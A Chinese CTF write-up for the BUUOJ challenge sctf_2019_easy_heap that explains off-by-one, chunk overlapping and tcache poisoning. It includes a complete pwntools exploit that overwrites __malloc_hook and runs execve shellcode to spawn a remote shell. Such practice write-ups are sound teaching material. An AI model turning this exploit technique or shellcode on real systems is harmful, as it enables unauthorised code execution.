Buuoj sctf_2019_easy_heap

大佬博客传送门:sctf_2019_easy_heap - LynneHuan - 博客园 (cnblogs.com)

知识更新

1.你需要了解一下off-by-one,unlink,overlapping是啥

传送门在这里:堆中的 Off-By-One - CTF Wiki (ctf-wiki.org)

2.了解一下chunk 空间的共用情况,也就是下一个的 chunk 的 prev_size 域给当前 chunk 当做数据域使用,这 种情况只出现在 malloc 的大小为 8 的奇数倍(32 为 4 的奇数倍)的情况。下面0x18,0x28之类的chunk都会用到这点。遇到了不要迷惑。

3.off-by-one再详细解释一下:

结合一下本题的图

这里=0是个溢出。下面创一个0x500大小chunk,size位默认0x501,低三位是拿来标记的,p位因为前面chunk不是free状态,所以为1

 pre_sizesize
fdbk

 假设我们有能力写到pre-size,那么size位会溢出一个字节大小0,0x501变成0x500.

这是小端序模式,0x501在size位是这样存储的

0x010x05

4.虽然本题保护开的很全,但程序刚开始调用了mmap,为咱们分配了一块可读可写区域,所以选择写入sh,调用它。

5.malloc_hook默认0,当有地址时,调用malloc会自动跳转hook里的地址。

6.tcache机制可以了解一下,我目前理解为大号fastbin。

解题逻辑较清晰。

创建0123chunk,03为smallchunk,但比tacachebin范围大,因此free时返回到unsortedbin。

先free0,再利用2把3的size位的p改成0。从而使3包住0123,之后free1,2。Allocate(0x440)  Allocate(0x510),把这个合体后的unsortedchunk拆开用,分别利用uaf写入sh和更改malloc_hook。之后随便malloc一下调动shellcode。大功告成。

exp如下

from pwn import *

sh = remote("node4.buuoj.cn",25553)

def Allocate(size:int) -> int:
    sh.sendlineafter(">> ", "1")
    sh.sendlineafter("Size: ", str(size))



def Delete(idx:int):
    sh.sendlineafter(">> ", "2")
    sh.sendlineafter("Index: ", str(idx))


def Fill(idx:int, content:(bytes, str)):
    sh.sendlineafter(">> ", "3")
    sh.sendlineafter("Index: ", str(idx))
    sh.sendafter("Content: ", content)

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

# 
sh.recvuntil("Mmap: ")
mmap_addr = int(sh.recv(12),16)

Allocate(0x410) # 0

Allocate(0x28) # 1
Allocate(0x18) # 2
Allocate(0x4f0) # 3
Allocate(0x10) # 4
# 
Delete(0)

Fill(2, 0x10 * b'a' + p64(0x470))

Delete(3)

Delete(1)
Delete(2)

Allocate(0x440) # 0

Allocate(0x510) # 1

payload = b'a' * 0x410 + p64(0) + p64(0x31) + p64(mmap_addr + 0x10) 
Fill(0, payload + b'\n')
Allocate(0x28) # 2
Allocate(0x28) # 3

Fill(3, shellcode + b'\n')

Fill(1, '\x30\n')
Allocate(0x18) # 5
Allocate(0x18) # 6

Fill(6, p64(mmap_addr + 0x10) + b'\n')

sh.sendlineafter(">> ", "1")
sh.sendlineafter("Size: ", str(16))

sh.interactive()

 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值